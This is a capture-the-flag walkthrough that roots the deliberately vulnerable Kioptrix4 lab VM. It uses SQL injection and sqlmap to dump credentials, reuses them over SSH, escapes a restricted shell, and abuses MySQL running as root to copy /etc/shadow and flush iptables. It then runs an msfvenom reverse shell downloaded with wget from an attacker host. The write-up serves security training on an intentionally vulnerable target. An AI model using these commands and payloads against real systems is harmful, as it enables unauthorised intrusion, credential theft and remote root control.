- 1 Introduction
- 2 Challenge
- 2.1 Assessment
- 2.2 Exploitation
- 2.3 Escalation
- 3 Comments
Kioptrix4 is a deliberately vulnerable virtual machine which objective is to teach security. The entry point is a web based form and the objective is to get root ;-).
Thanks to my friend Mohamed Ramadan for his tutorial. This tutorial is heavily inspired from his tutorial and has been published with his permission.
This very first step consists of assessing the situation and discovering vulnerabilities that will be exploited in the second phase of the attack.
The analysis of the source code provides us with following information regarding the form:
- Method is POST
- The name of the username field is "myusername"
- The name of the password field is "mypassword"
- User inputs are sent to checklogin.php
Let's try some injections. Following tables provides the results of different injections:
Wrong username or password
Wrong username or password
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/checklogin.php on line 28 Wrong username or password
|' or '1'='1||(empty)||checklogin.php||
Wrong username or password
|(empty)||' or '1'='1||member.php?username=||
User Oups, something went wrong with your member's page account. Please contact your local Administrator to fix the issue.
Information we gathered so far:
- mypassword field suffers from SQL injection.
- the database is MySQL
Let's scan the target with nmap:
[email protected]:~# nmap -sS -A 192.168.60.138 Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-09 19:21 CET Nmap scan report for 192.168.60.138 Host is up (0.00035s latency). Not shown: 566 closed ports, 430 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA) |_2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch) |_http-methods: No Allow or Public header in OPTIONS response (status code 200) |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) MAC Address: 00:0C:29:5C:0A:E7 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:kernel:2.6 OS details: Linux 2.6.9 - 2.6.31 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:kernel Host script results: |_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> |_smbv2-enabled: Server doesn't support SMBv2 protocol | smb-security-mode: | Account that was used for smb scripts: guest | User-level authentication | SMB Security: Challenge/response passwords supported |_ Message signing disabled (dangerous, but default) | smb-os-discovery: | OS: Unix (Samba 3.0.28a) | Computer name: Kioptrix4 | Domain name: localdomain | FQDN: Kioptrix4.localdomain | NetBIOS computer name: |_ System time: 2012-03-09 00:28:24 UTC-5 TRACEROUTE HOP RTT ADDRESS 1 0.35 ms 192.168.60.138 OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.30 seconds
Nmap has discovered that ssh is running on port 22/tcp.
This second step consists in exploiting the information gathered so far. We already know that:
- the form suffers from SQL injection (mypassword field)
- the database is MySQL
- OpenSSH is running on port 22/tcp
- the target seems to be Debian/Ubuntu
Exploitation of SQL injection
Let's start sqlmap with the automatic form discovery option (notice the --dbms parameter used to limit the number of tests to be performed, as we already know the database type):
$ ./sqlmap.py -u http://192.168.60.138 --forms --dbms=MySQL
Among other things, here is an extract of the output:
[19:42:02] [ERROR] all parameters are not injectable, try to increase --level/--risk values to perform more tests. Rerun without providing the --technique switch. Give it a go with the --text-only switch if the target page has a low percentage of textual content (~24.77% of page content is text), skipping to the next form.
We can include some more tests by increasing the value of 2 parameters: --risk and --level:
$ ./sqlmap.py -u http://192.168.60.138 --forms --dbms=MySQL \ --risk=3 --level=3
This time, the output is different:
sqlmap identified the following injection points with a total of 2616 HTTP(s) requests: --- Place: POST Parameter: mypassword Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: myusername=fCqF&mypassword=-2737' OR NOT 6088=6088 AND 'gwNw'='gwNw&Submit=Login Type: AND/OR time-based blind Title: MySQL < 5.0.12 AND time-based blind (heavy query) Payload: myusername=fCqF&mypassword=LieZ' AND 1832=BENCHMARK(5000000,MD5(CHAR(89,104,100,103))) AND 'NHPe'='NHPe&Submit=Login --- do you want to exploit this SQL injection? [Y/n] y [20:18:21] [INFO] testing MySQL [20:18:21] [INFO] confirming MySQL [20:18:21] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 8.04 (Hardy Heron) web application technology: PHP 5.2.4, Apache 2.2.8 back-end DBMS: MySQL >= 5.0.0 [*] shutting down at: 20:18:21
Now that sqlmap has found an injection point (blind SQL injection), we can try to list the databases:
$ ./sqlmap.py -u http://192.168.60.138 --forms --dbms=MySQL \ --risk=3 --level=3 --dbs ... [20:20:43] [INFO] fetching database names [20:20:43] [INFO] fetching number of databases [20:20:43] [INFO] retrieved: sqlmap got a 302 redirect to login_success.php - What target address do you want to use from now on? http://192.168.60.138:80/checklogin.php (default) oess based also on the redirection got from the applicati> 3 [20:20:47] [INFO] retrieved: information_schema [20:20:49] [INFO] retrieved: members [20:20:50] [INFO] retrieved: mysql available databases : [*] information_schema [*] members [*] mysql
sqlmap has detected 3 databases, 2 of which comes with a default MySQL installation (information_schema and mysql). Let's dump the content of the 3rd one (members):
$ ./sqlmap.py -u http://192.168.60.138 --forms --dbms=MySQL \ --risk=3 --level=3 -D members --dump ... [20:23:06] [INFO] retrieved: members [20:23:07] [INFO] fetching columns for table 'members' on database 'members' [20:23:07] [INFO] fetching number of columns for table 'members' on database 'members' [20:23:07] [INFO] retrieved: 3 [20:23:08] [INFO] retrieved: id [20:23:08] [INFO] retrieved: username [20:23:09] [INFO] retrieved: password [20:23:10] [INFO] fetching entries for table 'members' on database 'members' [20:23:10] [INFO] fetching number of entries for table 'members' on database 'members' [20:23:10] [INFO] retrieved: 2 [20:23:10] [INFO] retrieved: john [20:23:11] [INFO] retrieved: MyNameIsJohn [20:23:12] [INFO] retrieved: 1 [20:23:12] [INFO] retrieved: robert [20:23:13] [INFO] retrieved: ADGAdsafdfwt4gadfga== [20:23:15] [INFO] retrieved: 2 Database: members Table: members [2 entries] +----+-----------------------+----------+ | id | password | username | +----+-----------------------+----------+ | 1 | MyNameIsJohn | john | | 2 | ADGAdsafdfwt4gadfga== | robert | +----+-----------------------+----------+
sqlmap has successfully exploited the SQL injection via the blind techniques and dumped the members.members table.
Use found credentials against ssh
The Nmap scan performed in the assessment phase disclosed a ssh service running on the target. We can check whether the credentials gathered so far work to authenticate against SSH (in too many cases, users use a unique combination of username/password to authenticate against various services).
$ ssh [email protected] [email protected]'s password: <MyNameIsJohn>
Here is it... we are logged in ;-)
Welcome to LigGoat Security Systems - We are Watching == Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands john:~$
Accessing the shell is nice, but being root is better (and that's also the purpose of this challenge). Besides the fact that john's account is a standard user (non root), we will see that he has access to a limited number of commands.
Bypass limited shell
Let's analyze the prompt we have. It looks like john's account is limited to 8 commands:
john:~$ pwd *** unknown command: pwd john:~$ id *** unknown command: id john:~$ help cd clear echo exit help ll lpath ls
It exists some ways to setup such restrictions, one of which via lshell (limited shell), which is a python based shell. An easy way to bypass the restriction is to issue following command:
john:~$ echo os.system('/bin/bash')
Notice that this is only possible if "echo" is allowed. There are some other techniques to bypass a limited shell (see here). We confirm that we have successfully escaped the limited shell:
[email protected]:~$ pwd /home/john [email protected]:~$ id uid=1001(john) gid=1001(john) groups=1001(john)
Privileges escalation (root)
Find processes started as root
One of the ways to become root is to identify processes that are started by root and take over these services to make them execute privileged commands.
[email protected]:~$ ps aux | grep root ... root 4696 0.0 0.0 1772 524 ? S 13:23 0:00 /bin/sh /usr/bin/mysqld_safe root 4738 0.1 2.2 127316 22936 ? Sl 13:23 0:29 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root --pid-file=/var/run/mysqld/mysqld.pid --skip-ex root 4740 0.0 0.0 1700 556 ? S 13:23 0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld ...
Among other processes, we notice that mysqld is started by root.
Break MySQL authentication
Once we know that MySQL is started as root, our objective will be to break MySQL authentication to be able to execute commands (execute, read and write files) via MySQL (provided it is allowed by the service).
Let's try to authenticate as root without password:
[email protected]:~$ mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 7739 Server version: 5.0.51a-3ubuntu5.4 (Ubuntu) Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> select VERSION(); +--------------------+ | VERSION() | +--------------------+ | 5.0.51a-3ubuntu5.4 | +--------------------+ 1 row in set (0.00 sec)
Here is it... we are now authenticated in MySQL, itself started with root.
Use MySQL to execute commands as root
Let's check if MySQL allows to read files:
mysql> select load_file('/etc/passwd'); ... root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ...
Now, let's try to read /etc/shadow:
mysql> select load_file('/etc/shadow'); +--------------------------+ | load_file('/etc/shadow') | +--------------------------+ | NULL | +--------------------------+
As the file can't be read with this technique, let's try to copy /etc/shadow in /tmp, using the sys_exec() command:
mysql> select sys_exec("cat /etc/shadow > /tmp/shadow"); +-------------------------------------------+ | sys_exec("cat /etc/shadow > /tmp/shadow") | +-------------------------------------------+ | NULL | +-------------------------------------------+
The file has been successfully copied to /tmp/shadow. As we have copied the file as root (via MySQL), we need to set proper permissions to be able to access it:
mysql> select sys_exec("chown john /tmp/shadow"); +------------------------------------+ | sys_exec("chown john /tmp/shadow") | +------------------------------------+ | NULL | +------------------------------------+ mysql> \q
Now let's read the file:
[email protected]:~$ cat /tmp/shadow root:$1$5GMEyqwV$x0b1nMsYFXvczN0yI0kBB.:15375:0:99999:7::: ... loneferret:$1$/x6RLO82$43aCgYCrK7p2KFwgYw9iU1:15375:0:99999:7::: john:$1$H.GRhlY6$sKlytDrwFEhu5dULXItWw/:15374:0:99999:7::: robert:$1$rQRWeUha$ftBrgVvcHYfFFFk6Ut6cM1:15374:0:99999:7:::
At this stage, we could try to crack the root password using John The Ripper. However, this could take a long time... Another way to execute commands as root consists in creating a reverse shell that will be executed as root via MySQL (started as root).
From the attacker machine (e.g. running Backtrack), we will use msfvenom to create the reverse shell:
$ cd /opt/framework/msf3/ $ ./msfvenom --payload=linux/x86/shell_reverse_tcp --format=elf \ lhost=192.168.60.136 lport=1234 > /var/www/shell
We use the following options:
- Connect back to attacker and spawn a command shell. We know the architecture is i686 GNU/Linux
- We want to create an executable file that will run on linux
- Our IP address
- Will bind to port 1234/tcp
Now that our reverse shell has been created in /var/www/, let's run our webserver.
$ service apache2 start
We will try to download it from the target. Let's start a listener on port 1234 from Backtrack:
$ nc -l -p 1234'
From the ssh shell that we have to our target, let's try to download the file with MySQL:
mysql> select sys_exec('wget http://192.168.60.136/shell');
But the command never ends... Abort the command (^C) and check the iptables rules in place:
mysql> select sys_exec('iptables -L > /tmp/iptables'); mysql> select sys_exec('chown john /tmp/iptables'); mysql> \q [email protected]:~$ cat /tmp/iptables Chain INPUT (policy ACCEPT) target prot opt source destination DROP tcp -- anywhere anywhere tcp dpt:4444 DROP tcp -- anywhere anywhere tcp dpts:1337:x11 DROP tcp -- anywhere anywhere tcp dpts:webmin:31337 DROP tcp -- anywhere anywhere tcp dpt:webcache Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination DROP tcp -- anywhere anywhere tcp dpt:4444 DROP tcp -- anywhere anywhere tcp dpts:1337:x11 DROP tcp -- anywhere anywhere tcp dpts:webmin:31337 DROP tcp -- anywhere anywhere tcp dpt:webcache DROP tcp -- anywhere anywhere tcp dpt:www DROP tcp -- anywhere anywhere tcp dpt:ftp
We notice that web traffic is forbidden. Let's flush the rules...
mysql> select sys_exec('iptables -F');
...And retry to download our reverse shell. This time, it works fine:
mysql> select sys_exec('wget http://192.168.60.136/shell -O /tmp/shell');
Now let's change the owner of the file and make it executable:
mysql> select sys_exec('chown john /tmp/shell'); mysql> select sys_exec('chmod +x /tmp/shell');
Now we can start our reverse shell from MySQL and have full root privileges:
mysql> select sys_exec("cd /tmp && ./shell");
From Backtrack, let's check that our reverse shell works fine:
[email protected]:/var/www# nc -l -p 1234 pwd /tmp id uid=0(root) gid=0(root) cd /root touch done ls congrats.txt done lshell-0.9.12 cat congrats.txt Congratulations! You've got root. There is more then one way to get root on this system. Try and find them. I've only tested two (2) methods, but it doesn't mean there aren't more. As always there's an easy way, and a not so easy way to pop this box. Look for other methods to get root privileges other than running an exploit. It took a while to make this. For one it's not as easy as it may look, and also work and family life are my priorities. Hobbies are low on my list. Really hope you enjoyed this one. If you haven't already, check out the other VMs available on: www.kioptrix.com Thanks for playing, loneferret ^C
We are done:
- We are root (command "id" returns "uid=0(root) gid=0(root)")
- We have root privileges (we have been able to create the file "done" in /root)
- We see the file congrats.txt that confirms that we are done